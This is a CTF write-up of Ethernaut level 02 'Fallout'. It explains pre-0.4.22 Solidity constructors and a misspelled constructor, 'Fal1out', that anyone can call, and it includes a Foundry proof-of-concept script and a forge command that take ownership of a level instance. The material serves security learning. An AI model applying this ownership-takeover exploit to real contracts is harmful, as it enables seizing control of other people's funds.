Ethernaut Level 02 - Fallout

Ethernaut Level 02 - Fallout

Analysis and solution for Ethernaut's level 02 - Fallout, with Solidity and Foundry

Objectives

This level teaches you about constructors in Solidity. Constructor's in older versions of Solidity to be precise.

The main objective of this level is to become the owner of the contract. Let's dive in.

What are Constructors?

Constructors are special functions that are executed at the beginning of the deployment of the contract and are only executed once. They can't be called by external or internal users after deployment and is only used to initialize the contract's state.

Up to Solidity 0.4.21

Up to Solidity 0.4.21, the keywords for constructor definition were a tad bit different. To define a constructor, you had to define a function with the same name as that of your contract. Here's how it looked:

pragma solidity 0.4.21;

contract Oldie {

    uint randomvar;
    function Oldie(uint _randomvar) public {     // Constructor
        randomvar = _randomvar;
    }
}

This method may introduce security issues as we'll be seeing it soon.

Solidity 0.4.22 and above

In newer versions of Solidity, you can't use the contract's name to define a constructor. You have to use the constructor keyword as shown below:

pragma solidity 0.4.22;

contract NewCon {

    uint randomvar;
    constructor (uint _randomvar) public {    // New Constructor
        randomvar = _randomvar;
    }
}

Analysis

When we go through the vulnerable code for this level, we'll note that there's an eerily looking function with a similar name as that of the contract but it is not exactly the same. From the comments above the function, it looks like it's a constructor.

/* constructor */
function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}

This function when called changes the owner to the address of the msg.sender and sets the allocations for the owner to msg.value sent with the transaction. We are only interested in the ownership part.

Note that the name of the constructor is misspelled. If the Solidity version had been < 0.4.22 and if the name of this function would have been Fallout, we wouldn't be able to call it since it would have become a constructor.

But since the name of the function is misspelled, this just makes it like any other function. And since the visibility is set to public, it means that any external user, as well as any function inside the contract, will be able to make a call to this function. Whoever calls this function will become the new owner of the contract.


The Exploit

Here's what our PoC script will look like.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel02.sol";

contract POC is Script {
    Fallout level2 = Fallout(0xDBDb61eF9B8422f67c2799Cd339840F2ba6f56cd);

    function run() external {
        vm.startBroadcast();

        console.log("Current Owner is: ", level2.owner()); // querying current owner
        level2.Fal1out(); // calling the vulnerable function
        console.log("New Owner is: ", level2.owner()); // checking if the owner changed

        vm.stopBroadcast();
    }
}

Let's make use of Forge's console.log function to log data to the terminal while we transact.

We'll execute the script using the following command:

forge script ./script/level02.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL

We are querying and logging the current owner, then executing the Fal1out() function, and then again querying the owner of the contract. It can be seen in the below screenshot that it went as expected.

0xEAce4b71CA1A128e8B562561f46896D55B9B0246 is my EOA wallet's address with which I spun a new instance.

Once we become the new owner, we can go ahead and submit the instance to finish the level.

image.png

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry